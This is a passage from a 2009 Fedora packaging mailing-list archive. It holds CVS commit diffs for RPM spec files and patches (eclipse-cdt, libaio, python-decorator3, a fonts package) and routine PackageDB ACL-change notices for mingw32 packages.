+- Give preupgrade its own User-Agent string
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1.0-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed May 13 2009 Will Woods <wwoods at redhat.com> - 1.1.0-1
 - Bump version for 1.1.0 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/F-11/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	13 May 2009 22:33:01 -0000	1.12
+++ sources	9 Oct 2009 21:10:10 -0000	1.13
@@ -1 +1 @@
-5eb27050142d79facbbc05e18aa3f8d3  preupgrade-1.1.0.tar.bz2
+f96a2814603f78f623397a5548245f9c  preupgrade-1.1.1.tar.bz2


--- 0001-Fix-use-of-PUError-in-preupgrade.dev-bug-504826.patch DELETED ---



From nim at fedoraproject.org  Fri Oct  9 21:17:42 2009
From: nim at fedoraproject.org (nim)
Date: Fri,  9 Oct 2009 21:17:42 +0000 (UTC)
Subject: rpms/apanov-heuristica-fonts/devel apanov-heuristica-fonts.spec,
	1.13, 1.14 import.log, 1.10, 1.11
Message-ID: <20091009211742.096DA11C00C1@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/rpms/apanov-heuristica-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18438/devel

Modified Files:
	apanov-heuristica-fonts.spec import.log 
Log Message:
de-smp-ize


Index: apanov-heuristica-fonts.spec
===================================================================
RCS file: /cvs/extras/rpms/apanov-heuristica-fonts/devel/apanov-heuristica-fonts.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- apanov-heuristica-fonts.spec	9 Oct 2009 19:44:27 -0000	1.13
+++ apanov-heuristica-fonts.spec	9 Oct 2009 21:17:40 -0000	1.14
@@ -5,7 +5,7 @@
 
 Name:    %{fontname}-fonts
 Version: 0.2
-Release: 3%{?dist}
+Release: 4%{?dist}
 Epoch:   1
 Summary: Heuristica font
 
@@ -40,7 +40,7 @@ done
 
 %build
 
-make %{?_smp_mflags}
+make
 
 
 %install
@@ -69,6 +69,8 @@ rm -fr %{buildroot}
 
 %changelog
 * Fri Oct  9 2009 Nicolas Mailhot <nicolas.mailhot at laposte.net>
+- 1:0.2-4
+? not smp-safe upstream makefile
 - 1:0.2-3
 ? fonttools has been fixed ? generate TTFs
 


Index: import.log
===================================================================
RCS file: /cvs/extras/rpms/apanov-heuristica-fonts/devel/import.log,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- import.log	9 Oct 2009 19:44:27 -0000	1.10
+++ import.log	9 Oct 2009 21:17:40 -0000	1.11
@@ -8,3 +8,4 @@ apanov-heuristica-fonts-20090507-1_fc12:
 apanov-heuristica-fonts-0_2-1_fc12:HEAD:apanov-heuristica-fonts-0.2-1.fc12.src.rpm:1252262664
 apanov-heuristica-fonts-0_2-2_fc12:HEAD:apanov-heuristica-fonts-0.2-2.fc12.src.rpm:1252860982
 apanov-heuristica-fonts-0_2-3_fc13:HEAD:apanov-heuristica-fonts-0.2-3.fc13.src.rpm:1255117443
+apanov-heuristica-fonts-0_2-4_fc13:HEAD:apanov-heuristica-fonts-0.2-4.fc13.src.rpm:1255123023



From toshio at fedoraproject.org  Fri Oct  9 21:24:30 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Fri,  9 Oct 2009 21:24:30 +0000 (UTC)
Subject: rpms/python-decorator3/EL-5 decorator-3.0.1-doctest.patch, NONE,
	1.1 import.log, NONE, 1.1 python-decorator3.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091009212430.419BD11C00C1@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/python-decorator3/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21815/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	decorator-3.0.1-doctest.patch import.log 
	python-decorator3.spec 
Log Message:
Initial import


decorator-3.0.1-doctest.patch:
 documentation.py |   10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

--- NEW FILE decorator-3.0.1-doctest.patch ---
Index: decorator-3.1.2/documentation.py
===================================================================
--- decorator-3.1.2.orig/documentation.py
+++ decorator-3.1.2/documentation.py
@@ -120,7 +120,7 @@ keyword arguments:
 
  >>> from inspect import getargspec 
  >>> print getargspec(f1) 
- ([], 'args', 'kw', None)
+ ArgSpec(args=[], varargs='args', keywords='kw', defaults=None)
 
 This means that introspection tools such as pydoc will give
 wrong informations about the signature of ``f1``. This is pretty bad:
@@ -186,7 +186,7 @@ The signature of ``heavy_computation`` i
 .. code-block:: python
 
  >>> print getargspec(heavy_computation) 
- ([], None, None, None)
+ ArgSpec(args=[], varargs=None, keywords=None, defaults=None)
 
 A ``trace`` decorator
 ------------------------------------------------------
@@ -219,7 +219,7 @@ and it that it has the correct signature
 .. code-block:: python
 
  >>> print getargspec(f1) 
- (['x'], None, None, None)
+ ArgSpec(args=['x'], varargs=None, keywords=None, defaults=None)
 
 The same decorator works with functions of any signature:
 
@@ -233,7 +233,7 @@ The same decorator works with functions 
  calling f with args (0, 3, 2), {}
  
  >>> print getargspec(f) 
- (['x', 'y', 'z'], 'args', 'kw', (1, 2))
+ ArgSpec(args=['x', 'y', 'z'], varargs='args', keywords='kw', defaults=(1, 2))
 
 That includes even functions with exotic signatures like the following:
 
@@ -243,7 +243,7 @@ That includes even functions with exotic
  ... def exotic_signature((x, y)=(1,2)): return x+y
  
  >>> print getargspec(exotic_signature)
- ([['x', 'y']], None, None, ((1, 2),))
+ ArgSpec(args=[['x', 'y']], varargs=None, keywords=None, defaults=((1, 2),))
  >>> exotic_signature() 
  calling exotic_signature with args ((1, 2),), {}
  3


--- NEW FILE import.log ---
python-decorator3-3_1_2-2_fc11_1:EL-5:python-decorator3-3.1.2-2.fc11.1.src.rpm:1255123216


--- NEW FILE python-decorator3.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           python-decorator3
Version:        3.1.2
Release:        2%{?dist}.1
Summary:        Module to simplify usage of decorators

Group:          Development/Languages
License:        BSD
URL:            http://www.phyast.pitt.edu/~micheles/python/documentation.html
Source0:        http://pypi.python.org/packages/source/d/decorator/decorator-%{version}.tar.gz
Patch0:         decorator-3.0.1-doctest.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
Requires: python-setuptools
BuildRequires:  python-devel
BuildRequires:  python-setuptools-devel
BuildRequires:  python-nose

%description
The aim of the decorator module is to simplify the usage of decorators for
the average programmer, and to popularize decorators usage giving examples
of useful decorators, such as memoize, tracing, redirecting_stdout, locked,
etc.  The core of this module is a decorator factory called decorator.

This package contains version 3.x of the decorator module.

%prep
%setup -q -n decorator-%{version}
%patch0 -p1 -b .doctest
chmod a-x *.txt *.py
%{__sed} -i 's/\r//' README.txt

%build
%{__python} setup.py bdist_egg

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{python_sitelib}
easy_install -m --prefix %{buildroot}%{_usr} dist/*.egg

%clean
rm -rf %{buildroot}

%check
# Until we get the python-multiprocessing backport packaged
%if 0%{?fedora} >= 11 || 0%{?rhel} > 5
nosetests --with-doctest
%endif

%files
%defattr(0644,root,root,0755)
%doc *.txt
%{python_sitelib}/decorator*.egg/

%changelog
* Tue Oct 6 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.1.2-2.1
- Initial python-decorator3 package.  Forwards compat for EL-5 (where
  python-decorator is version 2.3.x)

* Tue Oct 6 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.1.2-2
- Really include the new source tarball

* Tue Oct 6 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.1.2-1
- Update to upstream release 3.1.2

* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.0.1-3
- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild

* Sun May 31 2009 Luke Macken <lmacken at redhat.com> - 3.0.1-2
- Only run the test suite on Fedora 11, which has Py2.6 and the multiprocessing
  module.  We can disable this once the compat module is packaged for F10 and
  below.

* Thu May 21 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 3.0.1-1
- Update to upstream release 3.0.1.

* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.3.2-2
- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild

* Wed Jan 21 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 2.3.2-1
- Update to 2.3.2
- Enable tests via nose

* Sat Nov 29 2008 Ignacio Vazquez-Abrams <ivazqueznet+rpm at gmail.com> - 2.2.0-2
- Rebuild for Python 2.6


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-decorator3/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:49:31 -0000	1.1
+++ .cvsignore	9 Oct 2009 21:24:29 -0000	1.2
@@ -0,0 +1 @@
+decorator-3.1.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-decorator3/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:49:31 -0000	1.1
+++ sources	9 Oct 2009 21:24:29 -0000	1.2
@@ -0,0 +1 @@
+9ebbe8d0f0c42495561b8e79fd0d8e56  decorator-3.1.2.tar.gz



From jjohnstn at fedoraproject.org  Fri Oct  9 21:27:43 2009
From: jjohnstn at fedoraproject.org (Jeff Johnston)
Date: Fri,  9 Oct 2009 21:27:43 +0000 (UTC)
Subject: rpms/eclipse-cdt/F-12 eclipse-cdt-discoverytab.patch, NONE,
	1.1 .cvsignore, 1.46, 1.47 eclipse-cdt.spec, 1.133,
	1.134 sources, 1.55, 1.56
Message-ID: <20091009212743.9559711C00C1@cvs1.fedora.phx.redhat.com>

Author: jjohnstn

Update of /cvs/extras/rpms/eclipse-cdt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23456

Modified Files:
	.cvsignore eclipse-cdt.spec sources 
Added Files:
	eclipse-cdt-discoverytab.patch 
Log Message:

* Fri Oct 09 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-1
- Rebase CDT to 6.0.1.



eclipse-cdt-discoverytab.patch:
 DiscoveryTab.java |   24 ++++++++++++++----------
 1 file changed, 14 insertions(+), 10 deletions(-)

--- NEW FILE eclipse-cdt-discoverytab.patch ---
### Eclipse Workspace Patch 1.0
#P org.eclipse.cdt.managedbuilder.ui
Index: src/org/eclipse/cdt/managedbuilder/ui/properties/DiscoveryTab.java
===================================================================
RCS file: /cvsroot/tools/org.eclipse.cdt/all/org.eclipse.cdt.managedbuilder.ui/src/org/eclipse/cdt/managedbuilder/ui/properties/DiscoveryTab.java,v
retrieving revision 1.23.2.4
diff -u -r1.23.2.4 DiscoveryTab.java
--- src/org/eclipse/cdt/managedbuilder/ui/properties/DiscoveryTab.java	7 Sep 2009 03:52:28 -0000	1.23.2.4
+++ src/org/eclipse/cdt/managedbuilder/ui/properties/DiscoveryTab.java	7 Oct 2009 22:54:06 -0000
@@ -534,9 +534,11 @@
 
 	private void handleDiscoveryProfileChanged() {
 		int pos = profileComboBox.getSelectionIndex();
-		for (int i = 0; i < realPages.length; i++)
-			if (realPages[i] != null)
-				realPages[i].setVisible(i == pos);
+		if (realPages != null) {
+			for (int i = 0; i < realPages.length; i++)
+				if (realPages[i] != null)
+					realPages[i].setVisible(i == pos);
+		}
 	}
 
 	/**
@@ -622,13 +624,15 @@
 		if (buildInfo == null)
 			return;
 		String savedId = buildInfo.getSelectedProfileId();
-		for (int i = 0; i < realPages.length; i++) {
-			if (realPages != null && realPages[i] != null) {
-				String s = visibleProfilesList.get(i);
-				buildInfo.setSelectedProfileId(s);
-				realPages[i].performApply();
-				realPages[i].setVisible(false);
-			}
+		if (realPages != null) {
+			for (int i = 0; i < realPages.length; i++) {
+				if (realPages[i] != null) {
+					String s = visibleProfilesList.get(i);
+					buildInfo.setSelectedProfileId(s);
+					realPages[i].performApply();
+					realPages[i].setVisible(false);
+				}
+			} 
 		}
 		buildInfo.setSelectedProfileId(savedId);
 		handleDiscoveryProfileChanged();


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/F-12/.cvsignore,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- .cvsignore	24 Sep 2009 22:20:05 -0000	1.46
+++ .cvsignore	9 Oct 2009 21:27:43 -0000	1.47
@@ -31,3 +31,4 @@ eclipse-cdt-fetched-src-autotools-v20090
 libstdc++-v3.libhover
 glibc-2.7-2.libhover
 eclipse-cdt-fetched-src-libhover-R0_3_0.tar.gz
+eclipse-cdt-fetched-src-CDT_6_0_1.tar.bz2


Index: eclipse-cdt.spec
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/F-12/eclipse-cdt.spec,v
retrieving revision 1.133
retrieving revision 1.134
diff -u -p -r1.133 -r1.134
--- eclipse-cdt.spec	24 Sep 2009 22:20:05 -0000	1.133
+++ eclipse-cdt.spec	9 Oct 2009 21:27:43 -0000	1.134
@@ -7,7 +7,7 @@ Epoch: 1
 %define major                   6
 %define minor                   0       
 %define majmin                  %{major}.%{minor}
-%define micro                   0
+%define micro                   1
 %define eclipse_base            %{_libdir}/eclipse
 %define build_id		200906161748
 
@@ -22,7 +22,7 @@ Epoch: 1
 Summary:        Eclipse C/C++ Development Tools (CDT) plugin
 Name:           eclipse-cdt
 Version:        %{majmin}.%{micro}
-Release:        10%{?dist}
+Release:        1%{?dist}
 License:        EPL and CPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/cdt
@@ -33,7 +33,7 @@ Requires:       eclipse-platform
 # script.  Note that the optional c99 and upc parsers plus the optional
 # xlc support features have been removed.
 
-Source0: %{name}-fetched-src-CDT_6_0_0.tar.bz2
+Source0: %{name}-fetched-src-CDT_6_0_1.tar.bz2
 Source4: fetch-cdt.sh
 
 Source1: http://sources.redhat.com/eclipse/autotools/eclipse-cdt-fetched-src-autotools-v200907241319.tar.gz
@@ -73,6 +73,7 @@ Source7: libstdc++-v3.libhover
 
 # Remove include of stropts.h in openpty.c as it is no longer included 
 # in glibc-headers package
+# https://bugs.eclipse.org/bugs/show_bug.cgi?id=272373
 Patch12: %{name}-openpty.patch
 
 # Add XML -> HTML generation after running tests
@@ -86,6 +87,21 @@ Patch14: %{name}-libhover-local.patch
 # and to enable local plugin file support for docs.
 Patch15: %{name}-libhover.patch
 
+# Patches for ppc64
+# https://bugs.eclipse.org/bugs/show_bug.cgi?id=272380
+
+# Add LDFLAGS to Makefile for .so
+# https://bugs.eclipse.org/bugs/show_bug.cgi?id=272364
+Patch16: %{name}-ppc64-add_ldflags.patch
+
+# Add define of _XOPEN_SOURCE so that ptsname header is included
+# https://bugs.eclipse.org/bugs/show_bug.cgi?id=272370
+Patch17: %{name}-ppc64-add_xopen_source-include.patch
+
+# Fix problem in Discovery Tab code that causes NPE for Autotools project
+# https://bugs.eclipse.org/bugs/show_bug.cgi?id=291690
+Patch18: %{name}-discoverytab.patch
+
 BuildRequires: eclipse-pde
 BuildRequires: eclipse-mylyn >= 3.0
 BuildRequires: eclipse-rse >= 3.0
@@ -99,8 +115,7 @@ Requires:       gdb make gcc-c++ autocon
 Requires:       eclipse-platform >= 1:3.5.0
 Requires:	eclipse-rse >= 3.0
 
-# Currently, upstream CDT only supports building on the platforms listed here.
-ExclusiveArch: %{ix86} x86_64 ppc ia64
+ExclusiveArch: %{ix86} x86_64 ppc ia64 ppc64
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 
 
 %description
@@ -153,6 +168,9 @@ popd
 pushd results/plugins
 %patch13
 popd
+pushd results/plugins/org.eclipse.cdt.managedbuilder.ui
+%patch18 -p0
+popd
 #pushd results/plugins/org.eclipse.cdt.core.tests
 #rm parser/org/eclipse/cdt/core/parser/tests/scanner/LexerTests.java
 #%patch14
@@ -229,6 +247,20 @@ find -name \*.so | xargs rm -rf
 mv org.eclipse.cdt.releng/results/plugins/org.eclipse.cdt.core.tests/resources/testlib/x86/so.g/libtestlib_g.BAK \
   org.eclipse.cdt.releng/results/plugins/org.eclipse.cdt.core.tests/resources/testlib/x86/so.g/libtestlib_g.so
 
+%ifarch ppc64
+pushd org.eclipse.cdt.releng/results/plugins
+echo "fragmentName.linux.%{eclipse_arch} = C/C++ Development Tools Core for Linux (%{eclipse_arch})" \
+  >> org.eclipse.cdt.releng/results/plugins/org.eclipse.cdt.core/plugin.properties
+cp -rp org.eclipse.cdt.core.linux.{x86,%{eclipse_arch}}
+cd org.eclipse.cdt.core.linux.%{eclipse_arch}
+sed -i "s/x86/%{eclipse_arch}/" META-INF/MANIFEST.MF
+mv os/linux/{x86,%{eclipse_arch}}
+cd ../org.eclipse.cdt.core.linux
+%patch16 -p0
+%patch17 -p0
+popd
+%endif
+
 %build
 export JAVA_HOME=%{java_home}
 export PATH=%{java_bin}:/usr/bin:$PATH
@@ -522,6 +554,12 @@ rm -rf ${RPM_BUILD_ROOT}
 %endif
 
 %changelog
+* Fri Oct 09 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-1
+- Rebase CDT to 6.0.1.
+
+* Mon Oct 05 2009 Andrew Overholt <overholt at redhat.com> 1:6.0.0-11
+- Build on ppc64
+
 * Wed Sep 23 2009 Jeff Johnston <jjohnstn at redhat.com> 1:6.0.0-10
 - Resolves #290247
 - Upgrade libhover to 0.3.0.


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/F-12/sources,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- sources	24 Sep 2009 22:20:05 -0000	1.55
+++ sources	9 Oct 2009 21:27:43 -0000	1.56
@@ -5,3 +5,4 @@ d0b0b38accc5547e6209fda23c6c8d49  eclips
 921f3464c4b5a284473ebdad634e5c2d  libstdc++-v3.libhover
 4bccad3ee92faaca4f8dc3ac6941434e  glibc-2.7-2.libhover
 2dbeff80a9c053b2888940a30f62d3f2  eclipse-cdt-fetched-src-libhover-R0_3_0.tar.gz
+b128891c69b669173abc21f5105e3a30  eclipse-cdt-fetched-src-CDT_6_0_1.tar.bz2



From pkgdb at fedoraproject.org  Fri Oct  9 21:36:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:36:50 +0000
Subject: [pkgdb] mingw32-gnutls had acl change status
Message-ID: <20091009213650.E159B10F895@bastion2.fedora.phx.redhat.com>

rjones has set the watchbugzilla acl on mingw32-gnutls (Fedora devel) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 21:36:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:36:52 +0000
Subject: [pkgdb] mingw32-gnutls had acl change status
Message-ID: <20091009213652.3B9B110F8A4@bastion2.fedora.phx.redhat.com>

rjones has set the watchcommits acl on mingw32-gnutls (Fedora devel) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 21:36:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:36:53 +0000
Subject: [pkgdb] mingw32-gnutls had acl change status
Message-ID: <20091009213653.A58EA10F8AC@bastion2.fedora.phx.redhat.com>

rjones has set the commit acl on mingw32-gnutls (Fedora devel) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 21:36:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:36:54 +0000
Subject: [pkgdb] mingw32-gnutls had acl change status
Message-ID: <20091009213654.7F11C10F8B3@bastion2.fedora.phx.redhat.com>

rjones has set the approveacls acl on mingw32-gnutls (Fedora devel) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 21:37:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:37:01 +0000
Subject: [pkgdb] mingw32-gnutls had acl change status
Message-ID: <20091009213701.6A3A410F8A8@bastion2.fedora.phx.redhat.com>

rjones has set the watchbugzilla acl on mingw32-gnutls (Fedora 11) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 21:37:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:37:02 +0000
Subject: [pkgdb] mingw32-gnutls had acl change status
Message-ID: <20091009213702.B430410F8B7@bastion2.fedora.phx.redhat.com>

rjones has set the watchcommits acl on mingw32-gnutls (Fedora 11) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 21:37:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:37:02 +0000
Subject: [pkgdb] mingw32-gnutls had acl change status
Message-ID: <20091009213702.B5DAC10F8AC@bastion2.fedora.phx.redhat.com>

rjones has set the commit acl on mingw32-gnutls (Fedora 11) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 21:37:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:37:04 +0000
Subject: [pkgdb] mingw32-gnutls had acl change status
Message-ID: <20091009213704.572D710F8BA@bastion2.fedora.phx.redhat.com>

rjones has set the approveacls acl on mingw32-gnutls (Fedora 11) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 21:37:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:37:08 +0000
Subject: [pkgdb] mingw32-gnutls had acl change status
Message-ID: <20091009213708.C477D10F8BF@bastion2.fedora.phx.redhat.com>

rjones has set the watchcommits acl on mingw32-gnutls (Fedora 12) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 21:37:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:37:09 +0000
Subject: [pkgdb] mingw32-gnutls had acl change status
Message-ID: <20091009213709.EA2A410F8C3@bastion2.fedora.phx.redhat.com>

rjones has set the commit acl on mingw32-gnutls (Fedora 12) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 21:37:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:37:10 +0000
Subject: [pkgdb] mingw32-gnutls had acl change status
Message-ID: <20091009213710.183C110F8C8@bastion2.fedora.phx.redhat.com>

rjones has set the watchbugzilla acl on mingw32-gnutls (Fedora 12) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 21:37:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:37:11 +0000
Subject: [pkgdb] mingw32-gnutls had acl change status
Message-ID: <20091009213711.7288410F8CD@bastion2.fedora.phx.redhat.com>

rjones has set the approveacls acl on mingw32-gnutls (Fedora 12) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-gnutls



From pkgdb at fedoraproject.org  Fri Oct  9 21:38:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:38:19 +0000
Subject: [pkgdb] mingw32-libgpg-error had acl change status
Message-ID: <20091009213819.2285710F895@bastion2.fedora.phx.redhat.com>

rjones has set the watchbugzilla acl on mingw32-libgpg-error (Fedora devel) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From jmoyer at fedoraproject.org  Fri Oct  9 21:38:14 2009
From: jmoyer at fedoraproject.org (Jeffrey E. Moyer)
Date: Fri,  9 Oct 2009 21:38:14 +0000 (UTC)
Subject: rpms/libaio/devel .cvsignore, 1.14, 1.15 libaio.spec, 1.32,
	1.33 sources, 1.14, 1.15 libaio-sparc.patch, 1.1, NONE
Message-ID: <20091009213814.67DBA11C00C1@cvs1.fedora.phx.redhat.com>

Author: jmoyer

Update of /cvs/pkgs/rpms/libaio/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27967

Modified Files:
	.cvsignore libaio.spec sources 
Removed Files:
	libaio-sparc.patch 
Log Message:
- Pull in upstream .109 to get ARM architecture support.
- Remove the broken sparc patch;  it should go upstream first.

Note: I'm working on merging the sparc support upstream.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libaio/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	6 Jun 2008 16:14:08 -0000	1.14
+++ .cvsignore	9 Oct 2009 21:38:13 -0000	1.15
@@ -1 +1 @@
-libaio-0.3.107.tar.gz
+libaio-0.3.109.tar.gz


Index: libaio.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libaio/devel/libaio.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- libaio.spec	25 Jul 2009 05:17:29 -0000	1.32
+++ libaio.spec	9 Oct 2009 21:38:13 -0000	1.33
@@ -1,13 +1,12 @@
 Name: libaio
-Version: 0.3.107
-Release: 9%{?dist}
+Version: 0.3.109
+Release: 1%{?dist}
 Summary: Linux-native asynchronous I/O access library
 License: LGPLv2+
 Group:  System Environment/Libraries
-Source: %{name}-%{version}.tar.gz
+Source: ftp://ftp.kernel.org/pub/linux/libs/aio/%{name}-%{version}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-root
 Patch1: libaio-install-to-slash.patch
-Patch2: libaio-sparc.patch
 
 %description
 The Linux-native asynchronous I/O facility ("async I/O", or "aio") has a
@@ -33,7 +32,6 @@ for the Linux-native asynchronous I/O fa
 %setup -a 0
 %patch1 -p1
 mv %{name}-%{version} compat-%{name}-%{version}
-%patch2 -p1
 
 %build
 # A library with a soname of 1.0.0 was inadvertantly released.  This
@@ -73,6 +71,10 @@ make destdir=$RPM_BUILD_ROOT prefix=/ li
 %attr(0644,root,root) %{_libdir}/libaio.a
 
 %changelog
+* Fri Oct  9 2009 Jeff Moyer <jmoyer at redhat.com> - 0.3.109-1
+- Pull in upstream .109 to get ARM architecture support.
+- Remove the broken sparc patch;  it should go upstream first.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.107-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libaio/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	6 Jun 2008 16:14:08 -0000	1.14
+++ sources	9 Oct 2009 21:38:13 -0000	1.15
@@ -1 +1 @@
-db32c19c61ca937bcb1ba48da9180682  libaio-0.3.107.tar.gz
+435a5b16ca6198eaf01155263d855756  libaio-0.3.109.tar.gz


--- libaio-sparc.patch DELETED ---



From pkgdb at fedoraproject.org  Fri Oct  9 21:38:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:38:20 +0000
Subject: [pkgdb] mingw32-libgpg-error had acl change status
Message-ID: <20091009213820.77D3D10F8A9@bastion2.fedora.phx.redhat.com>

rjones has set the watchcommits acl on mingw32-libgpg-error (Fedora devel) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 21:38:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:38:22 +0000
Subject: [pkgdb] mingw32-libgpg-error had acl change status
Message-ID: <20091009213822.CDEF310F8AF@bastion2.fedora.phx.redhat.com>

rjones has set the approveacls acl on mingw32-libgpg-error (Fedora devel) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 21:38:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:38:23 +0000
Subject: [pkgdb] mingw32-libgpg-error had acl change status
Message-ID: <20091009213823.7AC5710F8B6@bastion2.fedora.phx.redhat.com>

rjones has set the commit acl on mingw32-libgpg-error (Fedora devel) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 21:38:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:38:28 +0000
Subject: [pkgdb] mingw32-libgpg-error had acl change status
Message-ID: <20091009213828.74A3210F894@bastion2.fedora.phx.redhat.com>

rjones has set the watchbugzilla acl on mingw32-libgpg-error (Fedora 11) to Approved for epienbro

To make changes to this package see:
